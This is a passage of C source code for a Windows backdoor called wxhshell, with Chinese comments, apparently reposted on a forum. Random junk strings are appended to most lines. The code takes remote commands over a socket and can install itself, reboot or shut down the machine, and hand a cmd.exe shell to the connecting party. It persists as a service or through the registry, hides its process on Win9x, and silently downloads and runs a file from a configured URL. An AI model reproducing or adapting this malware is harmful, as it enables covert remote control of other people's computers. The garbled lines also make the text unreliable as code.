D7'P^*4_B  
    switch(cmd[0]) { 2!UNFv#=$  
  IUK !b2!`  
  // 帮助 T[$! ^WT  
  case '?': { f;Cu@z{b  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); tA,#!Z0  
    break; PA=.)8  
  } wF@mHv  
  // 安装 k3:8T#N>!O  
  case 'i': { >n`!S`)9{  
    if(Install()) ow,4'f!d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !i"Z  
    else )_7OHV *3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GpW5)a  
    break; hM": ?Rx  
    } W ix/Az  
  // 卸载 \|OW`7Q)k  
  case 'r': { &n5Lc`  
    if(Uninstall()) =*ZQGM3w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kX\\t.nH  
    else 'Z<V(;W  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vCPiT2G  
    break; cqr4P`Oj  
    } Hg~O0p}[  
  // 显示 wxhshell 所在路径 #D{jNSB  
  case 'p': { ?<Tt1fpG  
    char svExeFile[MAX_PATH]; 09_L^'`  
    strcpy(svExeFile,"\n\r"); )$h<9e  
      strcat(svExeFile,ExeFile); `L-GI{EJ  
        send(wsh,svExeFile,strlen(svExeFile),0); l1Zf#]x  
    break; #U46Au  
    } c[/h7!/aH  
  // 重启 ZTq"SQ>ym  
  case 'b': { yNw YP%"y  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0K0[mC}ZwM  
    if(Boot(REBOOT)) 4h|48</  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $m.e}`7SF!  
    else { '+!@c&d#%o  
    closesocket(wsh); q~3dbj  
    ExitThread(0); F<KUVe  
    } oZ)\Ya=  
    break; {}vB# !  
    } ]5!}S-uJq  
  // 关机 nm!5L[y!0  
  case 'd': { LI>tN R~  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); rv(Qz|K@  
    if(Boot(SHUTDOWN)) uC _&?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oGK 1D  
    else { JN9 W:X.  
    closesocket(wsh); 7 TTU&7l~  
    ExitThread(0); CC(At.dd  
    } xB1Oh+@i  
    break; _x.!, g{  
    } [OH9/ "  
  // 获取shell t)y WQV  
  case 's': { 1>JUI5 {  
    CmdShell(wsh); d+5KHfkK  
    closesocket(wsh); !y8/El  
    ExitThread(0); l?+67cQLA  
    break; XJ3 5Z+M  
  } _L?`C  
  // 退出 U!GG8;4  
  case 'x': { O23dtH  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); e}Y|' bG  
    CloseIt(wsh); vm3B>ACJ  
    break; %fS__Tb#u  
    } /$'R!d5r  
  // 离开 ebbC`eFD  
  case 'q': { c,$ >u,4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); B( ]=I@L=W  
    closesocket(wsh); MEOVw[hO  
    WSACleanup(); K_@[%  
    exit(1); yu3T5@Ww  
    break; _uvRC+~R  
        } {8NnRnzU  
  } DEGEr-  
  } ,S|v>i, @  
|Rh%wJ  
  // 提示信息 ] ~;x$Z)  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `@8QQB  
} +="?[:  
  } F_m[EB  
])dq4\Bw  
  return; Up61Xn  
} _N4G[jQLJ  
&zl=}xeA  
// shell模块句柄 N :#"4e  
int CmdShell(SOCKET sock) u$7o d$&S  
{ =.@{ uu;  
STARTUPINFO si; t)Iu\bP  
ZeroMemory(&si,sizeof(si));  V~V_+  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #q7`"E=M"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  !,rp|  
PROCESS_INFORMATION ProcessInfo; ,_K /e  
char cmdline[]="cmd"; d" T">Og)  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); lyBae?%&  
  return 0; "3kIQsD|j  
} U5uO|\+)  
Mlr\#BO"9  
// 自身启动模式 gO0X-fN8  
int StartFromService(void) g]^@bxdg  
{ }Y/uU"t  
typedef struct x|#R$^4CY  
{ JXG%Cx!2}  
  DWORD ExitStatus; \KlOj%s  
  DWORD PebBaseAddress; S4/CL4=  
  DWORD AffinityMask; z(sfX}%  
  DWORD BasePriority; qpo3b7(N  
  ULONG UniqueProcessId; #nQZ/[|  
  ULONG InheritedFromUniqueProcessId; ac8+?FpK #  
}   PROCESS_BASIC_INFORMATION; +|#lUXC  
t'msgC6=>u  
PROCNTQSIP NtQueryInformationProcess; WJefg  
h J*2q"  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Lh0qB)>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; X.u&4SH  
s?=v@|vz)  
  HANDLE             hProcess; _#6_7=g@s6  
  PROCESS_BASIC_INFORMATION pbi; u n{LwZH  
_9%R U"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); W\JbX<mQ  
  if(NULL == hInst ) return 0; _K(w &Kr  
Qh4@Nl#Ncf  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~x:\xQti  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ks|qJ3;  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); DnbT<oEL  
#S?xRqkc  
  if (!NtQueryInformationProcess) return 0; /U |@sw4  
cG)i:  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); I9xQ1WJc`  
  if(!hProcess) return 0; K-%x] Fp=  
(;RmfE'PX  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \-X Qo  
1SddZ5  
  CloseHandle(hProcess); MeD}S@H  
?P<8Zw  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8UH c,np  
if(hProcess==NULL) return 0; dso6ZRx  
xcBV,[E{  
HMODULE hMod; I[mlQmwsL.  
char procName[255]; =og5Mh,  
unsigned long cbNeeded; ELh`|X  
:A+nmz!z  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); U^ bF}4m  
+;Yd<~!c Z  
  CloseHandle(hProcess); $)UMRG  
O=2"t%Gc  
if(strstr(procName,"services")) return 1; // 以服务启动 8ZmU(m  
S;pKL,d>r  
  return 0; // 注册表启动 \UBTNY,  
} uBdS}U  
*fz]Q>2ga  
// 主模块 uVnbOqR<X  
int StartWxhshell(LPSTR lpCmdLine)  y5"b(nb  
{ d D%Sbb  
  SOCKET wsl; j2@19YXe@  
BOOL val=TRUE; /Y NV  
  int port=0; @|3PV  
  struct sockaddr_in door; woQ UrO(  
1N8:,bpsT  
  if(wscfg.ws_autoins) Install(); dvPK5+0W?  
2n/cq K   
port=atoi(lpCmdLine); 3aD\J_  
0l.\KF  
if(port<=0) port=wscfg.ws_port; '/2u^&W  
pDw^~5P  
  WSADATA data; BKd03s=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; X\\c=[#8-  
0keqtr  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Z/ Vb_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Me*woCos'  
  door.sin_family = AF_INET; ~"eQPTd  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); XsOz {?G  
  door.sin_port = htons(port); d7g3VF<j  
GJpQcse%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { uT")j,tz  
closesocket(wsl); $mH'%YDIl  
return 1; E5>y?N  
} ],!7S"{97  
w;e42.\  
  if(listen(wsl,2) == INVALID_SOCKET) { e}F1ZJz  
closesocket(wsl); OrN~ Y#D  
return 1; V:<NQd  
} 6[\b]I\Q  
  Wxhshell(wsl); Xs,[Z2_iq  
  WSACleanup(); {*#}"/:8K  
)GbVgYkk  
return 0; 8eAc 5by  
#YABb wH  
} u~JCMM$  
hxt,%al  
// 以NT服务方式启动 g}uVuK;<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) WTlR>|Zdn  
{ **RW 9FU  
DWORD   status = 0; bcVzl]9  
  DWORD   specificError = 0xfffffff; #$W bYL|  
\Z?.Po`!j  
  serviceStatus.dwServiceType     = SERVICE_WIN32; CLQE@kF;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;%#.d$cU  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7v{X?86&  
  serviceStatus.dwWin32ExitCode     = 0; zB/)_AW  
  serviceStatus.dwServiceSpecificExitCode = 0;  Sj,>O:p  
  serviceStatus.dwCheckPoint       = 0; HU~,_m  
  serviceStatus.dwWaitHint       = 0; ap 5D6y+  
.}xF2'~E/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); EWU(Al T  
  if (hServiceStatusHandle==0) return; cx+li4v  
XIS.0]~  
status = GetLastError(); '4T]=s~N  
  if (status!=NO_ERROR) V~9vf*X  
{ @bkZ< Gq  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %.NOQ<@W  
    serviceStatus.dwCheckPoint       = 0; ITUwIpA E  
    serviceStatus.dwWaitHint       = 0; :)djHPP*  
    serviceStatus.dwWin32ExitCode     = status; kdr?I9kwW  
    serviceStatus.dwServiceSpecificExitCode = specificError; !F^j\  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |z]O@@j$  
    return; Xp_3EQl  
  } *>=|"ff  
 4E"OD+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; J|'e.1v  
  serviceStatus.dwCheckPoint       = 0; r.JY88"  
  serviceStatus.dwWaitHint       = 0; $y2"Q,n+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); G $P|F6  
} nVSuvq|S  
xJ0Q8A  
// 处理NT服务事件,比如:启动、停止 ;z>?- j  
VOID WINAPI NTServiceHandler(DWORD fdwControl) rM{3]v{~  
{ ptA-rX.  
switch(fdwControl) Ts~MkO  
{ s#nd:$p3  
case SERVICE_CONTROL_STOP: +"~~; J$  
  serviceStatus.dwWin32ExitCode = 0; }3}{}w0Y  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; }mhD2'E  
  serviceStatus.dwCheckPoint   = 0; J&vmW}&  
  serviceStatus.dwWaitHint     = 0; A_:YpQ07@  
  { }@ +{;"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W5&;PkhQ6  
  } 0EA<ip  
  return; ; aI`4;  
case SERVICE_CONTROL_PAUSE: );m7;}gE  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; j/C.='?%  
  break; ;Wo\MN  
case SERVICE_CONTROL_CONTINUE: +!'rw D  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /q3]AVV  
  break; eM>f#M  
case SERVICE_CONTROL_INTERROGATE: #]vy`rv  
  break; !)nA4l= S#  
}; :(^, WOf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Sz"rp9x+  
} f0<'IgN  
x|TLMu=3=  
// 标准应用程序主函数 qh40nqS;9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) vv9=g*"j  
{ qYwEPGa\  
O<:"Irq\qr  
// 获取操作系统版本 [|:kS  
OsIsNt=GetOsVer(); *j`{ K  
GetModuleFileName(NULL,ExeFile,MAX_PATH); @~Uu]1  
qMHI-h_A  
  // 从命令行安装 z. 6-D  
  if(strpbrk(lpCmdLine,"iI")) Install(); 3ZAPcpB2  
^hMJNy&R  
  // 下载执行文件 X}-) io  
if(wscfg.ws_downexe) { <8'-azpJ6<  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) m\Xgvpv rP  
  WinExec(wscfg.ws_filenam,SW_HIDE); ['G@`e*\  
}  hxedQvW  
l9zkx'xt.-  
if(!OsIsNt) { KA"D2j9wn  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,g"[7Za  
HideProc(); &:}{?vU  
StartWxhshell(lpCmdLine); &B;M.sz~C4  
} *k(|r>  
else L^7"I 4=(D  
  if(StartFromService()) :*/'W5iM  
  // 以服务方式启动 a$~pAy5C  
  StartServiceCtrlDispatcher(DispatchTable); Z0(}doh  
else T&/ ]|4  
  // 普通方式启动 \dq}nOsX*  
  StartWxhshell(lpCmdLine); l<89[{9o  
WZ3GI l  
return 0; A<+veqb4  
}
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只看该作者 1 发表于: 2006-10-10
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